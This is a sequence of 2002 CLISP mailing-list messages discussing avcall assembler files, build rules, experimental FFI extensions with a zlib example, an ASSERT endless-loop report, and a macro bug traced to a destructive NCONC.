>  
> > Trust me when I say Bruno would not put something horrible like that in
> > unless there was a very good reason. Ok, I realise that the world has moved
> > on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp
> > has a reputation for the number of platforms it runs on and runs on
> > correctly. It got that reputation by Bruno not trusting certain things and
> > being a little paranoid.
> 
> First of all, let me say that I don't particularly care one way or the
> other.  If something got my goat enough, I could just go my own way.

Fine.

> Having said that, I have the following remarks:
> 
> 1) In principle, I dislike appeals to authority.  Noone is
> infallible.  Certainly, noone is infallible _forever_.

Absolutely, I never said otherwise.  I didn't mean to suggest Bruno is
infallible, I know he isn't. It'd be nice if software was though!

> 2) Your approach is overly cautious.

Probably.

> In 20 years, if we never remove
> unnecessary code, never consolidate, never rationalise, or clean-up
> generally, we are going to have one crufty, hairy ball of cr*p.

I agree, but I didn't say don't remove anything.  I explained why the .S
files exist and gave a reason for their continued existence.  Please don't
change my words.  I said you shouldn't remove something just because you
don't understand it, not that nothing should ever be removed.  As it
happens, you've followed this general rule, because you are asking why Clisp
has these apparent duplicate files.

But you're right, we should clean up the avcall-i386 stuff and remove
something. How about the .c file?

Ah but, the .c files do serve a purpose.  They help porting to a new
platform with the same CPU but different calling convention, or to an
unsupported CPU, because you can run the .c file through the compiler to get
the first pass at a working avcall.

So we'd better keep them.

> > Please don't go removing something you don't
> > understand just because it seems unnecessary on your platform.
> 
> 3) I could as easily say "please don't retain something you don't
> understand just because you fear it may be necessary on your platform."

That's not the same at all.  Your hypothesis is easy to prove one way or
another, mine is not.

> I am not suggesting that we obliterate and remove from history the
> assembler files; if we tried it with the c files, and gcc couldn't
> handle it on platform xyz, then we could just put the necessary file
> back.  Clisp's reputation is strong enough to weather a little thing
> like that.  Most users wouldn't even know.
> 
> 4) According to sourceforge cvs, a lot of the .s files are simply
> generated by gcc.

Sorry, but because I was just giving a bit of history from my hazy memory, I
forgot to check whether things had changed, or maybe my recollection was
wrong.  I had missed this fact.

But, as I said in my previous email, the .S files allow Clisp to be built
using a compiler other than gcc.

Thus, it seems both .c and .S are necessary, though for any one platform,
only one of them is needed.  If one thought it important, then the
avcall/Makefile could be generated to use the .c if the build compiler was
gcc.

> Your way, ... we'll never know.

You have misunderstood my email. I'm not a luddite against change. I welcome
change and improvement, where there is benefit.  It is certainly true that
the Clisp source has a fair amount of things that could be removed or are
implemented in an odd fashion, e.g.,

  . why have .d files?
  . why is so much Lisp written in C?

Anyway, hopefully I have explained why the .S files exist and are part of
the source distribution, so I'll leave it there.

cheers,
Peter




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Hi,

Peter Wood <peter.wood@worldonline.dk> writes:

> Hi,
> On Tue, Apr 16, 2002 at 09:02:18PM +0100, Peter Burwood wrote:
> > Peter Wood <peter.wood@worldonline.dk> writes:
> > 
> > > I also have a rule for dynload.s, but that is only because the other
> > > ..d files have such a rule, and it does not appear to be used!!??!!
> > > More cruft from the assembler hack days?
> > 
> > No, just more usefulness to help debug things when the compiler generates
> > bad code.
> > 
> > It is a makefile rule for developers. It does no harm if you don't need it.
> 
> Perhaps it should go in Makefile.devel, then?  When is the last time
> anyone went through the assembler code for stream.d, or pathname.d?
> :-) And if anyone ever did, is he out of hospital yet? poor guy :-)

I've done it and I'm sure I'm not alone.

Aswell as debugging, They can also be used to port to another OS with the
same calling convention, but different object file format and where the
assembler isn't available on the host. I've done this trick too, with Clisp
and GNAT.

> > On Cygwin there is a problem with CONST, so I added -DCONST=const to the
> > compile command as a hack. Did you not have a similar problem, 'cos I didn't
> > see it in your makefile rules. I see that Joerg had it in his compile
> > commands too.
> 
> CONST isn't used in dynload.  It's used in sysdll, and I didn't
> include my rules for sysdll.{c,h,o} since it compiled without problems
> - but yes, CONST must be defined.

dynload includes sysdll.h which has CONST.  But no problem as Joerg says the
newer sysdll.{c,h} files have removed CONST.

regards,
Peter




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Bruno Haible schrieb:

> With clisp-2.26,

> $ clisp -x '(assert (>= -1 0))'

With clisp-2.28 on win98:

[41]> (load "astest.lisp")
;; Loading file asit.lisp ...
** - Continuable Error
(>= -1 0) must evaluate to a non-NIL value.
If you continue (by typing 'continue'): Retry
1. Break [42]> abort

stefan




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Hi,

Scott Williams wrote:
> In light of the new dynamically loadable foreign function 
> interface, is it
> still best to make an interface to ImageMagick a standard 
> module (like regexp) that is part of a memory image?

It depends. In my article (sent separately) on extending CLISP via modules, I don't give much advice on this topic. The final decision is up to you.

o If you already have an interface to ImageMagick based on a CLISP module, why change it?

o If you're considering a future interface to ImageMagick, a dynamic FFI might be more appealing (as it's more likely to be portable to other Lisp implementations, or ported from other ones). However, the FFI approach has certain drawbacks that I highlight in my article.

The most important one is possibly the lack of integration with Lisp, i.e. all you have is chars, ints and arrays of those.
For instance, Dan Stanger preferred to write his GDI based on modules. He manipulates Lisp arrays directly, which you cannot do with the FFI. Maybe he wants to comment on his choices. I don't know whether he expects better performance or more comfort or better integration into the Lisp world (i.e. feel less "foreign") from doing so.


Sam Steingold wrote:
>it will be very easy to convert to the DLL FFI (when/if it arrives)
Even if I were to die (or be overwhelmed with other stuff), I think I already released enough information to let CLISP users fly alone.

Regards,
	Jorg Hohle.


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>>>>> "lin8080" == lin8080  <lin8080@freenet.de> writes:

    lin8080> With clisp-2.28 on win98:

    lin8080> [41]> (load "astest.lisp") 

OK, but what about: clisp -x '(assert (>= -1 0))' ???

On Linux i686, GNU CLISP 2.28 it indeed creates an endless loop:

WARNING:
(>= -1 0) must evaluate to a non-NIL value.
Retry
WARNING:
(>= -1 0) must evaluate to a non-NIL value.
Retry
...


Claudio


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Hi,

o Modules and deadly PACKAGE-LOCK feature interaction
 + partial solution for LISPFUN is possible -> unlock and keep unlocked =
(used only with own modules, not FFI).
 - but not for the module_object table (used by FFI DEF-CALL-IN and own =
modules)

o macrology
 - FFI:CAST, FFI:OFFSET etc. are already used in incompatible ways for =
SYMBOL-MACROS hiding the actual FOREIGN-VARIABLE objects.
  I feel that hiding these objects is a bad thing to do when working
with delayed references. So I let the programmer manipulate them as
the first class objects that they indeed are.

o reopen-foreign-library: update-address of all known =
functions/variables
 (useful when restarting from .mem file, e.g. servers)
 - need additional thoughts whether reopen or initial call can be made =
transparent.

o half of WITH-STACK-FOREIGN, WITH-FOREIGN-ARRAY
 - need to find good names & syntax
 - allow variable element-type instead of just size?

o allow libraries to be refered to by name instead of value


Here is working code which shows most of this (from future cl-pdf):

(def-lib-call-out zlib-compress-string *zlib*
  (:name "compress")
  (:arguments (dest ffi:c-pointer :in)
	      (destlen (ffi:c-ptr ffi:ulong) :in-out)
	      (source ffi:c-string)
	      (sourcelen ffi:ulong))
  (:return-type ffi:int)
  (:language :stdc))

(defun compress-string (source)
  "Compress the string SOURCE. Returns an array of bytes
representing the compressed data."
  (let* ((sourcelen (length source))
	 (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (ffi::with-foreign-array (dest (c-array uint8 destlen)) ; no init
      (multiple-value-bind (status actual)
	  (zlib-compress-string (foreign-address dest) destlen source =
sourcelen)
	(if (zerop status)
	    ;;(subseq (ffi::foreign-value dest) 0 actual)
	    ;;ffi::%cast not usable because of different size...
	    (ffi::foreign-value (ffi::%offset dest 0 (ffi::parse-c-type =
`(c-array uint8 ,actual))))
	  (error "zlib error, code ~d" status))))))


o COMPLEX-MALLOC is there (i.e. must provide initial value), but no =
uninitialized malloc (SIMPLE-MALLOC?) and no foreign-delete.
 - Simple-malloc is dangerous. (simple-malloc (c-ptr (c-array uint8 =
32)) doesn't do what you may expect: it would just allocate a single =
pointer, not a linked structure...
A cheap trick is (complex-malloc (c-ptr (c-array-max uint8 32)) #()), =
e.g. provide an empty string or vector.

o Compiler optimization: Most PARSE-C-TYPE is known at compile-time and =
can be constant folded, instead of being recomputed at every call (for =
some functions).
 - BACKQUOTE expansion is unportable to analyse
 - Other non constant (QUOTE x) cases are hard to discover, e.g.
   (parse-c-type (list 'c-array 'uint8 (length source)))
   which could be optimized as well (in theory).
 - differences between compile-time and load-time environment?

o parallels between the existing (AmigaOS only) =
FOREIGN-LIBRARY-VARIABLE/FUNCTION and FOREIGN-ADDRESS-FUNCTION to be =
investigated, possibly unify interfaces.

o portable .fas files versus platform-dependent macroexpansion

o allocate-string, avoiding FFI 1:1 encoding restriction
 + would allow UTF-16
 - to be specified

I have (or decided upon):

o zlib-compress for CL-PDF (w/ preliminary dynamic library API)
o (DEF-LIB-CALL-OUT name library options...) (pending portable .fas =
problem)
o (resolve-foreign-name "foo" library 'FOREIGN-FUNCTION) as Sam =
suggested
o FOREIGN-ADDRESS-UNSIGNED and UNSIGNED-FOREIGN-ADDRESS
o FOREIGN-ADDRESS-FUNCTION
o MARK-INVALID-FOREIGN (dangerous!)
o and a few more...

Comments appreciated!

Regards,
	J=F6rg H=F6hle.


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There were a few reasons that I created the module in c.
1) I was starting with a c header file, and I remembered the simple awk compiler in the awk book.
It has saved be a few times.  It was really easy to generate c code from the headers.
2) I am not familiar with gdi at all, so I wanted to be able to use gdb to examine c variables,
to confirm the values I was passing in to the gdi functions.
3) I thought that if I generated the code properly, there would be less debugging.
4) This module is specific to 2 enviroments, ms windows and react os.

The module I generated was about 8k lines of code.  I had to hand modify about 300
lines of it.  In retrospect, I would have tried to refer to variables on the stack instead
of popping them, then at the end, pop them all at once.  Also my intention was to
have all error checking in the lisp code, and none in c.

I want to thank Joerg for answering my questions regarding modules.  Also the document
he wrote is very helpful.
Dan Stanger

"Hoehle, Joerg-Cyril" wrote:

> Hi,
>
> Scott Williams wrote:
> > In light of the new dynamically loadable foreign function
> > interface, is it
> > still best to make an interface to ImageMagick a standard
> > module (like regexp) that is part of a memory image?
>
> It depends. In my article (sent separately) on extending CLISP via modules, I don't give much advice on this topic. The final decision is up to you.
>
> o If you already have an interface to ImageMagick based on a CLISP module, why change it?
>
> o If you're considering a future interface to ImageMagick, a dynamic FFI might be more appealing (as it's more likely to be portable to other Lisp implementations, or ported from other ones). However, the FFI approach has certain drawbacks that I highlight in my article.
>
> The most important one is possibly the lack of integration with Lisp, i.e. all you have is chars, ints and arrays of those.
> For instance, Dan Stanger preferred to write his GDI based on modules. He manipulates Lisp arrays directly, which you cannot do with the FFI. Maybe he wants to comment on his choices. I don't know whether he expects better performance or more comfort or better integration into the Lisp world (i.e. feel less "foreign") from doing so.
>
> Sam Steingold wrote:
> >it will be very easy to convert to the DLL FFI (when/if it arrives)
> Even if I were to die (or be overwhelmed with other stuff), I think I already released enough information to let CLISP users fly alone.
>
> Regards,
>         Jorg Hohle.
>
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Hi,

here is my current set of FFI extensions, which is IMHO taking shape.
To try this out, you'll need
o a fairly recent CLISP, better from CVS, since I fixed some bugs
o probably the dynload module?
o to be able to compile CLISP from sources
o add to modules.h: MODULE(ffimext)

o to walk through the code, esp. ffilext.lisp...

I also included zlib-clisp.lisp, which enables compression for CL-PDF =
with CLISP. It's unreleased for now.

Monday, this will work (I just changed the macro API once again):
(defun compress-string6 (source)
  "Compress the string SOURCE. Returns an array of bytes
representing the compressed data."
  (let* ((sourcelen (length source))
	 (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (ffi::with-c-var (dest `(c-array uint8 ,destlen)) ; no init
      (multiple-value-bind (status actual)
	  (zlib-compress-string (ffi::c-var-address dest) destlen source =
sourcelen)
	(if (zerop status)
	    ;;(subseq dest 0 actual)
	    ;;ffi:cast not usable because of different size...
	    (ffi:offset dest 0 `(c-array uint8 ,actual))
	  (error "zlib error, code ~d" status))))))

Enjoy,
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Claudio Bley schrieb:
> 
> "lin8080" == lin8080  <lin8080@freenet.de> writes:

>     lin8080> With clisp-2.28 on win98:

> OK, but what about: clisp -x '(assert (>= -1 0))' ???

> On Linux i686, GNU CLISP 2.28 it indeed creates an endless loop:

> WARNING:
> (>= -1 0) must evaluate to a non-NIL value.
> Retry
> WARNING:
> (>= -1 0) must evaluate to a non-NIL value.
> Retry
> ...

Would you type in 100x Retry? How should the Interpreter react? This
endloss loop is more from the user than from the system. The System says
what the analyse returned, it expects a non-nil value. Or should it make
0.99999... or something like that? All you can do is: after 3. retry the
Interpreter will close and diapear form the user-screen :)

1. Break [47]> :bl

Enter the limit for max. frames to print or ':all' for all: 15

EVAL frame for form (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1
0)))
EVAL frame for form (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1
0)))
EVAL frame for form (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>=
-1 0)))
)
EVAL frame for form
(RETURN-FROM #:G1754
 (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0)))))
EVAL frame for form
(LET*
 ((SYSTEM::*ACTIVE-RESTARTS*
   (LIST*
    (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION
     #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755
SYSTEM::ARGUMENTS)
        (GO #:G1753))
     :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE
     #'(LAMBDA NIL (APPEND)))
    SYSTEM::*ACTIVE-RESTARTS*)))
 (RETURN-FROM #:G1754
   (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))))))
 #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755)))
EVAL frame for form
(LET (#:G1755)
 (TAGBODY
  (LET*
   ((SYSTEM::*ACTIVE-RESTARTS*
     (LIST*
      (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION
       #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755
SYSTEM::ARGUMENTS)
          (GO #:G1753))
       :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE
       #'(LAMBDA NIL (APPEND)))
      SYSTEM::*ACTIVE-RESTARTS*)))
   (RETURN-FROM #:G1754
    (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))))))
  #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755))))
EVAL frame for form
(BLOCK #:G1754
 (LET (#:G1755)
  (TAGBODY
   (LET*
    ((SYSTEM::*ACTIVE-RESTARTS*
      (LIST*
       (SYSTEM::MAKE-RESTART :NAME 'CONTINUE :INVOKE-FUNCTION
        #'(LAMBDA (&REST SYSTEM::ARGUMENTS) (SETQ #:G1755
SYSTEM::ARGUMENTS)
           (GO #:G1753))
        :REPORT #'SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE
        #'(LAMBDA NIL (APPEND)))
       SYSTEM::*ACTIVE-RESTARTS*)))
    (RETURN-FROM #:G1754
     (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1 0))))))
   #:G1753 (RETURN-FROM #:G1754 (APPLY #'(LAMBDA NIL) #:G1755)))))
EVAL frame for form
(RESTART-CASE (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1
0))))
 (CONTINUE :REPORT SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE
  (LAMBDA NIL (APPEND)) NIL))
EVAL frame for form
(TAGBODY #:G1748 (WHEN (>= -1 0) (GO #:G1749))
 (RESTART-CASE (PROGN (ERROR "~A" (SYSTEM::ASSERT-ERROR-STRING '(>= -1
0))))
  (CONTINUE :REPORT SYSTEM::REPORT-NO-NEW-VALUE :INTERACTIVE
   (LAMBDA NIL (APPEND)) NIL))
 (GO #:G1748) #:G1749)
EVAL frame for form (ASSERT (>= -1 0))
EVAL frame for form (LOAD "asit~1.lis")
Printed 10 frames
1. Break [47]>



 (>=)  The value of >= is true if the numbers are in monotonically
nonincreasing order; otherwise it is false. 
 (assert) returns nil, the first arg is a predicate (requiered), if this
evaluates to nil, assert signals an error. (>= -1 0) is NIL. 

[60]> (assert)

*** - The macro ASSERT may not be called with 0 arguments: (ASSERT)



-HyperSpec--says-

 assert assures that test-form evaluates to true. If test-form evaluates
to false, assert signals a correctable error (denoted by datum and
arguments).
 Continuing from this error using the continue restart makes it possible
for the user to alter the values of the places before assert evaluates
test-form again. If the value of test-form is non-nil, assert returns
nil. 

 The places are generalized references to data upon which test-form
depends, whose values can be changed by the user in attempting to
correct the  error. Subforms of each place are only evaluated if an
error is signaled, and might be re-evaluated if the error is re-signaled
(after continuing without actually fixing the problem).
 The order of evaluation of the places is not specified; see Section
5.1.1.1 (Evaluation of Subforms to Places). If a place form is supplied
that produces more values than there are store variables, the extra
values are ignored. If the supplied form produces fewer values than
there are store variables, the missing values are set to nil. 

...

 The debugger need not include the test-form in the error message, and
the places should not be included in the message, but they should be
made available for the user's perusal. If the user gives the
``continue'' command, the values of any of the references can be
altered.
 The details of this depend on the implementation's style of user
interface.

see Hyperspec/../Issues/iss016-writeup.html

stefan

*The merciful LISP interpreter grants the programmer parole, not the
death penalty, from assertion failures. S.Slade



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On Fri, Apr 19, 2002 at 01:21:44PM +0200, Hoehle, Joerg-Cyril wrote:
> Hi,
> 
> here is my current set of FFI extensions, which is IMHO taking shape.
> To try this out, you'll need
> o a fairly recent CLISP, better from CVS, since I fixed some bugs
> o probably the dynload module?
> o to be able to compile CLISP from sources
> o add to modules.h: MODULE(ffimext)
> 
> o to walk through the code, esp. ffilext.lisp...
> 

Hi,

Thanks, Joerg.  Unfortunately, I seem to be missing something:

bash-2.04$ grep -e 'mark_invalid_foreign' clisp/src/*.d
clisp/src/ffimext.d:#  LISPFUNN(mark_invalid_foreign,1)
clisp/src/ffimext.d:#  LISPFUNN(mark_invalid_foreign,1)
clisp/src/ffimext.d:#  LISPSYM(mark_invalid_foreign,"MARK-INVALID-FOREIGN",ffi)

Ie, mark_invalid_foreign seems to be missing (undefined).

Indeed, when I try to compile, everything goes beautifully, but...

In file included from ffimext.d:4:
lispbibl.d: At top level:
lispbibl.d:7097: warning: register used for two global register variables
ffimext.d: In function `C_mark_invalid_foreign':
ffimext.d:15: warning: implicit declaration of function `Hack_mark_invalid_foreign'
ffimext.d: In function `C_complex_malloc':
ffimext.d:16: warning: implicit declaration of function `Hack_complex_malloc'
ffimext.d: In function `C_exec_with_stack1':
ffimext.d:17: warning: implicit declaration of function `Hack_exec_with_stack1'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none sysdll.o spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o dynload.o ffimext.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a  -lncurses -ldl  -o lisp.run
ffimext.o: In function `C_mark_invalid_foreign':
ffimext.o(.text+0x4): undefined reference to `Hack_mark_invalid_foreign'
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1

If you look at the '.o' files, I think you'll agree that I am linking
in everything I ought to be, previous to ffimext.o.

Alternatively, maybe I have forgotten something ... :-) Perhaps I have
not understood how I am supposed to build/prepare ffimext.o?

I have a patch for configure and makemake.in which autocreate rules
for building the extensions which you have posted to the list.  Once
this mark_invalid_foreign problem sorted out, I will post the patch to
the list, and hopefully more people will be able to build and report
back.

I am using cvs Clisp (downloaded Friday evening, CET), and
sysdll-1.7.c, sysdll-1.3.h, and dynload.d.

Regards,
Peter


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Hi,
On Wed, Apr 17, 2002 at 01:26:05PM -0400, Sam Steingold wrote:

> what is wrong with CMUCL?
> I thought it was great!

You no longer do?

Regards,
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Hi,


Originally I just wanted to test, if CLISP is
able to compile case- forms efficiently.
(With jump-tables instead of nested if-then-else or cond)

I have written the following macro which generates
a test function. The strange thing is, if you expand the
macro multiple times with the same parameters, the
resulting form grows and grows and....

Can you find the bug, or is there a bug in the macro-expansion?
Or is it evil to generate  (DEFUN ... ) - forms via DEFMACRO?
What am I missing?

 
(defmacro generate-test (fun-name (num-case chosen-case num-iter))  
   "fun-name:    name of the generated function
    num-case:    number of case-alternatives
    chosen-case: the case that is always chosen
    num-iter:    number of iterations (for better time-measurement))"
  `(defun ,fun-name () 
    (declare (special *bla*))
    (progn 
      (setf *bla* 0)
      (let ((i ,chosen-case)) 
        ,`(loop for j from 1 to ,num-iter do 
           ,(nconc 
             '(case i) 
             (loop for k from 1 to num-case collect 
                   `((,k) (setf *bla* (+ ,k j))))))))
    *bla*))

let's expand this macro:

[1]>  (macroexpand-1 '(generate-test test-case (10 10 10000)))
(DEFUN TEST-CASE NIL (DECLARE (SPECIAL *BLA*))
 (PROGN (SETF *BLA* 0)
  (LET ((I 10))
   (LOOP FOR J FROM 1 TO 10000 DO
    (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3)
(SETF *BLA* (+ 3 J)))
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J)))))))
 *BLA*) ;
T

OK, the point I wanted to show originally is that if you increase the
number
of case-forms and in the loop always choose the last case-form, the
time-complexity
should remain constant during runtime. For a slow
if-then-else-implementation,
the computation-time should grow proportional to the number of
case-forms.

In short, I planned to do this:
(generate-test test-case-10    (10 10 10000))
and run the resulting test-case-10

(generate-test test-case-100   (100 100 10000))
and run the resulting test-case-100

(generate-test test-case-1000  (1000 1000 10000)) 
and run the resulting test-case-10

(generate-test test-case-10000 (10000 100000 10000))
and run the resulting test-case-10

etc. 

the runtime should remain constant for each function-call.
I did not arrive at that due to some really weird expansion
behaviour.

Look what happens, if I expand the macro-call
multiple times with the _SAME_ parameters in the interactive loop:

First time: (as above)
[1]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000)))
(DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*))
 (PROGN (SETF *BLA* 0)
  (LET ((I 10))
   (LOOP FOR J FROM 1 TO 10000 DO
    (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3)
(SETF *BLA* (+ 3 J)))
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J)))))))
 *BLA*) ;
T

Second time:
[2]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000)))
(DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*))
 (PROGN (SETF *BLA* 0)
  (LET ((I 10))
   (LOOP FOR J FROM 1 TO 10000 DO
    (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3)
(SETF *BLA* (+ 3 J)))
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF
*BLA* (+ 2 J)))
     ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF
*BLA* (+ 5 J)))
     ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF
*BLA* (+ 8 J)))
     ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J)))))))
 *BLA*) ;
T

n-th time:
[11]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000)))
(DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*))
 (PROGN (SETF *BLA* 0)
  (LET ((I 10))
   (LOOP FOR J FROM 1 TO 10000 DO
    (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3)
(SETF *BLA* (+ 3 J)))
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF
*BLA* (+ 2 J)))
     ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF
*BLA* (+ 5 J)))
     ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF
*BLA* (+ 8 J)))
         ........
          ......
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J))) ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF
*BLA* (+ 2 J)))
     ((3) (SETF *BLA* (+ 3 J))) ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF
*BLA* (+ 5 J)))
     ((6) (SETF *BLA* (+ 6 J))) ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF
*BLA* (+ 8 J)))
     ((9) (SETF *BLA* (+ 9 J))) ((10) (SETF *BLA* (+ 10 J)))))))
 *BLA*) ;
T
  

Hmmm, if I reevaluate the (defmacro...) form again and then expand it
again, everything
is fine again...

[14]> (defmacro generate-test (fun-name (num-case chosen-case num-iter))
          ....... bla bla ....bla
GENERATE-TEST

[15]> (macroexpand-1 '(generate-test test-case-10 (10 10 10000)))
(DEFUN TEST-CASE-10 NIL (DECLARE (SPECIAL *BLA*))
 (PROGN (SETF *BLA* 0)
  (LET ((I 10))
   (LOOP FOR J FROM 1 TO 10000 DO
    (CASE I ((1) (SETF *BLA* (+ 1 J))) ((2) (SETF *BLA* (+ 2 J))) ((3)
(SETF *BLA* (+ 3 J)))
     ((4) (SETF *BLA* (+ 4 J))) ((5) (SETF *BLA* (+ 5 J))) ((6) (SETF
*BLA* (+ 6 J)))
     ((7) (SETF *BLA* (+ 7 J))) ((8) (SETF *BLA* (+ 8 J))) ((9) (SETF
*BLA* (+ 9 J)))
     ((10) (SETF *BLA* (+ 10 J)))))))
 *BLA*) ;
T

Help!!!!!!! :-)

BTW, CLISP seems to compile case-forms efficiently via jump-table. (if I
reevaluate
the (defmacro ...) everything works as expected):

[16-23] repetition of (defmacro...) (generate-test...) ...
then:
[24]> (compile 'test-case-10)
TEST-CASE-10 ;
NIL ;
NIL
[25]> (compile 'test-case-100)
TEST-CASE-100 ;
NIL ;
NIL
[26]> (compile 'test-case-1000)
TEST-CASE-1000 ;
NIL ;
NIL
[27]> (compile 'test-case-10000)
TEST-CASE-10000 ;
NIL ;
NIL
[28]> (test-case-10)    | Each call needs the same amount of time
10010                   |
[29]> (test-case-100)   |          -"-
10100                   |
[30]> (test-case-1000)  |          -"-
11000                   |
[31]> (test-case-10000) |          -"-
20000

You can see the jump-table via (disassemble 'test-case-...).

But this macroexpansion is really strange...

P.S. It is irrelevant if you supply the same parameters every time. The
list of
case-forms grows each  macroexpansion-time, no matter what arguments you
supply.

Bye,
Stefan


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Hi,

damn typos...

Stefan Kain wanted to write: ;-)
> In short, I planned to do this:
> (generate-test test-case-10    (10 10 10000))
> and run the resulting test-case-10
> 
> (generate-test test-case-100   (100 100 10000))
> and run the resulting test-case-100
> 
> (generate-test test-case-1000  (1000 1000 10000))
> and run the resulting test-case-1000
> 
> (generate-test test-case-10000 (10000 10000 10000))
> and run the resulting test-case-10000


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Well, ahem,

I have found the culprit. He is sitting right
in front of the screen...


Stefan Kain wrote:
> (defmacro generate-test (fun-name (num-case chosen-case num-iter))
>    "fun-name:    name of the generated function
>     num-case:    number of case-alternatives
>     chosen-case: the case that is always chosen
>     num-iter:    number of iterations (for better time-measurement))"
>   `(defun ,fun-name ()
>     (declare (special *bla*))
>     (progn
>       (setf *bla* 0)
>       (let ((i ,chosen-case))
>         ,`(loop for j from 1 to ,num-iter do
>            ,(nconc
               ^^^^^^^ !!!!!!!!!!!!!! 
              "append" is your friend...


Now each macroexpansion of  generate-test works without "side-effect"...

Aftermath:
Beware of destructive operations!!
(As usual, I used nconc in order to save a few conses... (How stupid))

This springs to my mind: "Premature optimisation is the root of all
evil..."

:-)
Sorry for bothering the mailing list. 

Bye,
Stefan


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> * In message <15549.34878.794642.34679@honolulu.ilog.fr>
> * On the subject of "[clisp-list] assert goes into an endless loop"
> * Sent on Wed, 17 Apr 2002 16:35:42 +0200 (CEST)
> * Honorable Bruno Haible <haible@ilog.fr> writes:
>
> With clisp-2.26,
> 
> $ clisp -x '(assert (>= -1 0))'
> 
> goes into an endless loop.

arguably, this is similar to '(loop)' :-)

BTW, why does CLISP use invoke-restart (instead of
invoke-restart-interactively) in appease-cerror?
this breaks things like '(appease-cerrors (assert x (x)))'.



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>>>>> "lin8080" == lin8080  <lin8080@freenet.de> writes:

    lin8080> Claudio Bley schrieb:
    >>  "lin8080" == lin8080 <lin8080@freenet.de> writes:

    lin8080> With clisp-2.28 on win98:

    >> OK, but what about: clisp -x '(assert (>= -1 0))' ???

    >> On Linux i686, GNU CLISP 2.28 it indeed creates an endless
    >> loop:

